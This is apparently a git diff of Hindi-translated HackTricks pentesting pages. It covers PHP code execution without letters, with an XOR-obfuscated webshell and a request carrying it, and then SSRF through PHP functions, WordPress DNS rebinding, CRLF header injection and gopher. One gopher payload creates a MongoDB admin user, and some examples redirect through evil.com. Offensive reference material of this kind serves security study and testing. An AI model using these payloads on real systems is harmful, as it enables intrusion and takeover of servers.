[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md) [php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %} {% endcontent-ref %}
## PHP बिना अक्षरों के चलाएं ## अक्षरों के बिना PHP चलाएं
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
@ -338,7 +356,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
``` ```
### XOR आसान शैल कोड ### XOR आसान शैल कोड
[**इस लेख**](https://mgp25.com/ctf/Web-challenge/) के अनुसार निम्नलिखित एक आसान शैलकोड उत्पन्न किया जा सकता है: [**इस व्रिटअप के अनुसार**](https://mgp25.com/ctf/Web-challenge/) निम्नलिखित एक आसान शैलकोड उत्पन्न किया जा सकता है:
```php ```php
$_="`{{{"^"?<>/"; // $_ = '_GET'; $_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
@ -352,7 +370,7 @@ Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
``` ```
और विस्तृत व्याख्या के लिए देखें [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match) एक और गहराई से समझने के लिए देखें [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
### XOR शेलकोड (इन्साइड ईवैल) ### XOR शेलकोड (इन्साइड ईवैल)
```bash ```bash
@ -422,10 +440,10 @@ $___($_[_]); // ASSERT($_POST[_]);
दूसरे तरीके HackTricks का समर्थन करने के लिए: दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहत हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com) * [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। * **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। * **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
</details> </details>

View file

@ -7,16 +7,16 @@
दूसरे तरीके HackTricks का समर्थन करने के लिए: दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! * अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com) * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें। * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। * **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/in/network-services-pentesting/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,19 +24,30 @@
### SSRF PHP functions ### SSRF PHP functions
कुछ फ़ंक्शन जैसे **file\_get\_contents(), fopen(), file(), md5\_file()** URLs को इनपुट के रूप में स्वीकार करते हैं जिन्हें वे फॉलो करेंगे और **संभावित SSRF सुरक्षा दोष** उत्पन्न हो सकता है अगर उपयोगकर्ता डेटा को नियंत्रित कर सकता है: कुछ फ़ंक्शन जैसे **file\_get\_contents(), fopen(), file(), md5\_file()** URLs को इनपुट के रूप में स्वीकार करते हैं जिन्हें वे फॉलो करेंगे और अगर उपयोगकर्ता डेटा को नियंत्रित कर सकता है तो यह **SSRF संरक्षा की संभावना** बनाता है:
```php ```php
file_get_contents("http://127.0.0.1:8081"); file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r"); fopen("http://127.0.0.1:8081", "r");
file("http://127.0.0.1:8081"); file("http://127.0.0.1:8081");
md5_file("http://127.0.0.1:8081"); md5_file("http://127.0.0.1:8081");
``` ```
### Wordpress SSRF के माध्यम से DNS Rebinding
जैसा कि [**इस ब्लॉग पोस्ट में स्पष्ट किया गया है**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), वर्डप्रेस फ़ंक्शन **`wp_safe_remote_get`** भी DNS rebinding के लिए विकल्पनीय है, जिससे यह SSRF हमलों के लिए संभावित रूप से विकल्पनीय है। इसका मुख्य मान्यता जो वो बुलाता है वह है **wp\_http\_validate\_ur**l, जो यह जांचता है कि प्रोटोकॉल `http://` या `https://` है और पोर्ट में **80**, **443**, और **8080** में से एक है, लेकिन यह **DNS rebinding के लिए विकल्पनीय है**
पोस्ट के अनुसार अन्य विकल्पनीय फ़ंक्शन हैं:
* `wp_safe_remote_request()`
* `wp_safe_remote_post()`
* `wp_safe_remote_head()`
* `WP_REST_URL_Details_Controller::get_remote_url()`
* `download_url()`
* `wp_remote_fopen()`
* `WP_oEmbed::discover()`
### CRLF ### CRLF
इसके अतिरिक्त, कुछ मामलों में पिछले फ़ंक्शन में CRLF "कमजोरियों" के माध्यम से विचारहीन हेडर्स भेजना संभव हो सकता है: इसके अतिरिक्त, कुछ मामलों में पिछले फ़ंक्शनों में CRLF "विकल्पनीयताओं" के माध्यम से विचारहीन हेडर्स भेजना संभव हो सकता है:
```php ```php
# The following will create a header called from with value Hi and # The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT" # an extra header "Injected: I HAVE IT"
@ -51,13 +62,11 @@ Connection: close
# Any of the previously mentioned functions will send those headers # Any of the previously mentioned functions will send those headers
``` ```
{% hint style="warning" %} {% hint style="warning" %}
उस CRLF दुरुपयोग के अधिक जानकारी के लिए, इस बग की जाच करें [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1) उस CRLF दुरुपयोग के बारे में अधिक जानकारी के लिए, इस बग की जाच करें [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %} {% endhint %}
ध्यान दें कि इन फ़ंक्शन के पास अन्य विधियाँ हो सकती हैं जिनका उपयोग अनुरोधों में विचारात्मक हेडर सेट करने के लिए किया जा सकता है, जैसे: ध्यान दें कि इन फ़ंक्शन के पास अन्य विधियाँ हो सकती हैं जिनका उपयोग अनुरोधों में विचारात्मक हेडर सेट करने के लिए किया जा सकता है, जैसे:
```php ```php
$url = ""; $url = "";
@ -73,10 +82,9 @@ $options = array(
$context = stream_context_create($options); $context = stream_context_create($options);
$file = file_get_contents($url, false, $context); $file = file_get_contents($url, false, $context);
``` ```
**ट्राई हार्ड सिक्योरिटी ग्रुप** **ट्राई हार्ड सिक्योरिटी ग्रुप**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/in/network-services-pentesting/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -88,8 +96,8 @@ $file = file_get_contents($url, false, $context);
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! * अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें। * **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। * **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके
</details> </details>

View file

@ -3,7 +3,7 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) का उपयोग करें और आसानी से बनाएं और **ऑटोमेट वर्कफ़्लो** जो दुनिया के **सबसे उन्नत** समुदाय उपकरणों द्वारा संचालित हैं।\ [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) का उपयोग करें और आसानी से **ऑटोमेट वर्कफ़्लो** बनाएं जो दुनिया के **सबसे उन्नत** समुदाय उपकरणों द्वारा संचालित हैं।\
आज ही पहुंचें: आज ही पहुंचें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
@ -16,19 +16,19 @@ HackTricks का समर्थन करने के अन्य तरी
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें! * यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। * **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details> </details>
## मूल जानकारी ## मूल जानकारी
**सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF)** एक सुरक्षा रिक्तता है जब एक हमलावर एक **सर्वर-साइड एप्लिकेशन** को अपनी पसंद के डोमेन पर **एचटीटीपी रिक्वेस्ट** करने के लिए बहकाता है। यह रिक्तता हमलावर द्वारा निर्दिष्ट बाह्य रिक्वेस्टों को सर्वर के सामने खोलती है। **सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF)** एक सुरक्षा दोष है जब एक हमलावर एक **सर्वर-साइड एप्लिकेशन** को मार्गित करता है ताकि वह उनकी पसंद के डोमेन पर **एचटीटीपी रिक्वेस्ट** करें। यह दोष हमलावर द्वारा निर्दिष्ट बाह्य रिक्वेस्टों को सर्वर के सामने खोल देता है।
## SSRF को कैप्चर करें ## SSRF को कैप्चर करें
पहली चीज जो आपको करनी होगी वह एक एसएसआरएफ इंटरैक्शन को कैप्चर करना है जो आपके द्वारा उत्पन्न किया गया है। एचटीटीपी या डीएनएस इंटरैक्शन को कैप्चर करने के लिए आप उपकरणों का उपयोग कर सकते हैं: पहली चीज जो आपको करनी होगी वह एक आपके द्वारा उत्पन्न किया गया SSRF इंटरैक्शन को कैप्चर करना है। एचटीटीपी या डीएनएस इंटरैक्शन को कैप्चर करने के लिए आप निम्नलिखित उपकरणों का उपयोग कर सकते हैं:
* **Burp Collaborator** * **Burp Collaborator**
* [**pingb**](http://pingb.in) * [**pingb**](http://pingb.in)
@ -40,33 +40,33 @@ HackTricks का समर्थन करने के अन्य तरी
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - ngrok का उपयोग करके एक बर्प कोलेबोरेटर * [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - ngrok का उपयोग करके एक बर्प कोलेबोरेटर
## व्हाइटलिस्टेड डोमेन बापास ## व्हाइटलिस्टेड डोमेन बापास
आम तौर पर आपको पाएंगे कि एसएसआरएफ केवल **निश्चित व्हाइटलिस्टेड डोमेन्स** या यूआरएल में काम कर रहा है। निम्नलिखित पृष्ठ पर आपको उस व्हाइटलिस्ट को बाइपास करने के तकनीकों का एक संकलन है: आम तौर पर आपको पाया जाएगा कि SSRF केवल **निश्चित व्हाइटलिस्टेड डोमेन्स** या यूआरएल में काम कर रहा है। निम्नलिखित पृष्ठ पर आपको उस व्हाइटलिस्ट को बायपास करने के लिए तकनीकों का एक संकलन मिलेगा:
{% content-ref url="url-format-bypass.md" %} {% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md) [url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
### ओपन रीडायरेक्ट के माध्यम से बापास ### ओपन रीडायरेक्ट के माध्यम से बापास
यदि सर्वर सही ढंग से सुरक्षित है तो आप **वेब पेज के अंदर ओपन रीडायरेक्ट का शोषण करके सभी प्रतिबंधों को बापास कर सकते हैं**। क्योंकि वेब पेज **एक ही डोमेन के लिए एसएसआरएफ की अनुमति देगा** और संभावना है कि **रीडायरेक्ट करेगा**, आप **ओपन रीडायरेक्ट का शोषण करके सर्वर को किसी भी संसाधन तक पहुंचाने** के लिए उपयोग कर सकते हैं।\ यदि सर्वर सही ढंग से सुरक्षित है तो आप **वेब पेज के अंदर ओपन रीडायरेक्ट का शोषण करके सभी प्रतिबंधों को बापास कर सकते हैं**। क्योंकि वेब पेज **एक ही डोमेन के लिए SSRF की अनुमति देगा** और संभावना है कि **रीडायरेक्ट करेगा**, आप **ओपन रीडायरेक्ट का शोषण करके सर्वर को आंतरिक किसी भी संसाधन तक पहुंचा सकते हैं**।\
अधिक जानकारी के लिए यहाँ पढ़ें: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) यहाँ अधिक जानकारी पढ़ें: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## प्रोटोकॉल ## प्रोटोकॉल
* **file://** * **file://**
* URL योजना `file://` को सीधे `/etc/passwd` पर संदर्भित किया गया है: `file:///etc/passwd` * URL योजना `file://` को सीधे `/etc/passwd` पर प्वाइंट किया गया है: `file:///etc/passwd`
* **dict://** * **dict://**
* DICT URL योजना का उपयोग DICT प्रोटोकॉल के माध्यम से परिभाषाएँ या शब्द सूचियों तक पहुंचने के लिए किया जाता है। एक उदाहरण दिया गया है जो एक निर्मित यूआरएल को लक्षित शब्द, डेटाबेस, और प्रविष्टि संख्या की ओर निर्देशित करता है, साथ ही एक PHP स्क्रिप्ट का उपयोग करके एक डिक्ट सर्वर से कनेक्ट करने के लिए आकस्मिक उपयोग किया जा सकता है: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>` * DICT URL योजना का उपयोग DICT प्रोटोकॉल के माध्यम से परिभाषाएँ या शब्द सूचियों तक पहुंचने के लिए किया जाता है। एक उदाहरण दिया गया है जिसमें एक निर्मित URL दिखाया गया है जो एक विशिष्ट शब्द, डेटाबेस, और प्रविष्टि संख्या को लक्षित करता है, साथ ही एक PHP स्क्रिप्ट का उदाहरण दिया गया है जिसमें हमलावर द्वारा प्रदान किए गए क्रेडेंशियल्स का उपयोग करके DICT सर्वर से कनेक्ट करने की संभावना है: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://** * **SFTP://**
* एक सुरक्षित शैली में फ़ाइल स्थानांतरण के लिए प्रोटोकॉल के रूप में पहचाना गया, एक उदाहरण प्रदान किया गया है जो दिखाता है कि एक PHP स्क्रिप्ट को कैसे उत्पादक सुरक्षित SFTP सर्वर से कनेक्ट किया जा सकता है: `url=sftp://generic.com:11111/` * एक सुरक्षित फ़ाइल स्थानांतरण के लिए प्रोटोकॉल के रूप में पहचाना गया, एक उदाहरण प्रदान किया गया है जिसमें एक PHP स्क्रिप्ट को एक दुरुपयोगी SFTP सर्वर से कनेक्ट करने के लिए उपयोग किया जा सकता है: `url=sftp://generic.com:11111/`
* **TFTP://** * **TFTP://**
* UDP पर संचालित ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, एक PHP स्क्रिप्ट के उदाहरण के साथ उल्लेख किया गया है जो एक TFTP सर्वर को अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर '12346' पोर्ट पर 'TESTUDPPACKET' फ़ाइल के लिए एक TFTP अनुरोध किया जाता है: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` * UDP पर संचालित ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, एक PHP स्क्रिप्ट का उदाहरण दिया गया है जिसमें एक TFTP सर्वर को एक अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर '12346' पोर्ट पर 'TESTUDPPACKET' फ़ाइल के लिए एक TFTP अनुरोध किया जाता है: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://** * **LDAP://**
* यह खंड लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को कवर करता है, जिसमें इसका उपयोग आईपी नेटवर्क्स पर वितरित निर्देशिका सूचना सेवाओं को प्रबंधित और पहुंचने के लिए किया जाता है। लोकलहोस्ट पर एक LDAP सर्वर के साथ बातचीत करें: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` * इस सेगमेंट में लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को शामिल किया गया है, जिसमें इसका उपयोग वितरित डायरेक्टरी सूचना सेवाओं को प्रबंधित और पहुंचने के लिए किया जाता है। लोकलहोस्ट पर एक LDAP सर्वर के साथ बातचीत करें: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP** * **SMTP**
* एक विधि वर्णित की गई है जिसका उपयोग SMTP सेवाओं के साथ बातचीत करने के लिए किया जाता है, जिसमें आंतरिक डोमेन नामों को प्रकट करने के लिए कदम और उस जानकारी के आधार पर और जांच कार्रवाई की जाती है। * एक विधि का वर्णन किया गया है जिसका उपयोग SMTP सेवाओं के साथ बातचीत करने के लिए SSRF दोषों का शोषण करने के लिए किया जाता है, जिसमें आंतरिक डोमेन नामों को प्रकट करने के लिए कदम और उस जानकारी के आधार पर और जांच कार्रवाई की जाती है।
``` ```
From https://twitter.com/har1sec/status/1182255952055164929 From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25 1. connect with SSRF on smtp localhost:25
@ -75,17 +75,17 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect 4. connect
``` ```
* **Curl URL globbing - WAF bypass** * **Curl URL globbing - WAF bypass**
* यदि SSRF को **curl** द्वारा निष्पादित किया जाता है, तो curl में [**URL globbing**](https://everything.curl.dev/cmdline/globbing) नामक एक विशेषता होती है जो WAFs को दौड़ने के लिए उपयोगी हो सकती है। उदाहरण के लिए इस [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) में आप एक **path traversal via `file` protocol** के लिए उदाहरण पा सकते हैं: * यदि SSRF **curl** द्वारा निष्पादित किया जाता है, तो curl में एक विशेषता है जिसे [**URL globbing**](https://everything.curl.dev/cmdline/globbing) कहा जाता है जो WAFs को अनदेखा करने के लिए उपयोगी हो सकता है। उदाहरण के लिए इस [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) में आप एक **path traversal via `file` protocol** के लिए इस उदाहरण को पा सकते हैं:
``` ```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
``` ```
* **गोफर://** * **गोफर://**
* गोफर प्रोटोकॉल की क्षमता को आईपी, पोर्ट, और सर्वर संचार के लिए बाइट्स को निर्दिष्ट करने पर चर्चा की गई है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उल्लेख किया गया है जो payloads तैयार करने के लिए हैं। दो विभिन्न उपयोगों का उदाहरण दिया गया है: * गोफर प्रोटोकॉल की क्षमता को आईपी, पोर्ट, और सर्वर संचार के लिए बाइट निर्दिष्ट करने की चर्चा की गई है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उल्लेख किया गया है जिनका उपयोग payloads बनाने के लिए किया जा सकता है। दो विभिन्न उपयोगों का उदाहरण दिया गया है:
### गोफर:// ### गोफर://
इस प्रोटोकॉल का उपयोग करके आप सर्वर को **भेजने** के लिए चाहते हैं उस आईपी, पोर्ट और बाइट्स को निर्दिष्ट कर सकते हैं। फिर, आप मौजूदा एक SSRF का शोषण कर सकते हैं ताकि आप किसी भी TCP सर्वर के साथ **संवाद कर सकें** (लेकिन आपको पहले सेवा से बात करने का तरीका पता होना चाहिए)।\ इस प्रोटोकॉल का उपयोग करके आप सर्वर से भेजने के लिए आईपी, पोर्ट और बाइट निर्दिष्ट कर सकते हैं। फिर, आप मूल रूप से किसी भी TCP सर्वर के साथ एक SSRF का शोषण कर सकते हैं (लेकिन पहले सेवा से बात करने का तरीका पता होना चाहिए)।\
भाग्यवश, आप [Gopherus](https://github.com/tarunkant/Gopherus) का उपयोग कर सकते हैं विभिन्न सेवाओं के लिए payloads बनाने के लिए। इसके अतिरिक्त, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) का उपयोग किया जा सकता है _Java RMI_ सेवाओं के लिए _gopher_ payloads बनाने के लिए। भाग्यवश, आप [Gopherus](https://github.com/tarunkant/Gopherus) का उपयोग करके कई सेवाओं के लिए payloads बना सकते हैं। इसके अतिरिक्त, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) का उपयोग _Java RMI_ सेवाओं के लिए _gopher_ payloads बनाने के लिए किया जा सकता है
**गोफर smtp** **गोफर smtp**
``` ```
@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
``` ```
{% endcode %} {% endcode %}
#### Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin है, पासवर्ड=admin123 है और अनुमति=प्रशासक है #### Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin हो, पासवर्ड=admin123 हो और अनुमति=प्रशासक हो।
```bash ```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
@ -130,11 +130,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
``` ```
## SSRF के माध्यम से रेफरर हेडर और अन्य ## SSRF के माध्यम से रेफरर हेडर और अन्य
सर्वर पर एनालिटिक्स सॉफ्टवेयर आम तौर पर रेफरर हेडर को लॉग करता है ताकि आने वाले लिंक्स का ट्रैकिंग किया जा सके, एक अमल जो एप्लिकेशन को सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) संरचनाओं के लिए उद्घाटन करता है। यह इसलिए है क्योंकि ऐसा सॉफ्टवेयर रेफरर हेडर में उल्लिखित बाह्य URL पर जाकर रेफरल साइट सामग्री का विश्लेषण करने के लिए कर सकता है। इन रिक्तियों को खोजने के लिए, बर्प स्वीट प्लगइन "**कॉलेबोरेटर एव्रीवेर**" का सुझाव दिया जाता है, जो एनालिटिक्स टूल्स के द्वारा रेफरर हेडर को प्रोसेस करने के तरीके का उपयोग करके संभावित SSRF हमले के सतह की पहचान करने में मदद करता है। सर्वर पर एनालिटिक्स सॉफ्टवेयर आम तौर पर रेफरर हेडर को लॉग करता है ताकि आने वाले लिंक्स का ट्रैकिंग किया जा सके, एक अभ्यास जो अनजाने में एप्लिकेशन को सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) संरचनाओं के लिए उजागर करता है। यह इसलिए है क्योंकि ऐसा सॉफ्टवेयर रेफरर हेडर में उल्लिखित बाह्य URL पर जाकर रेफरल साइट सामग्री का विश्लेषण करने के लिए कर सकता है। इन संरचनाओं को 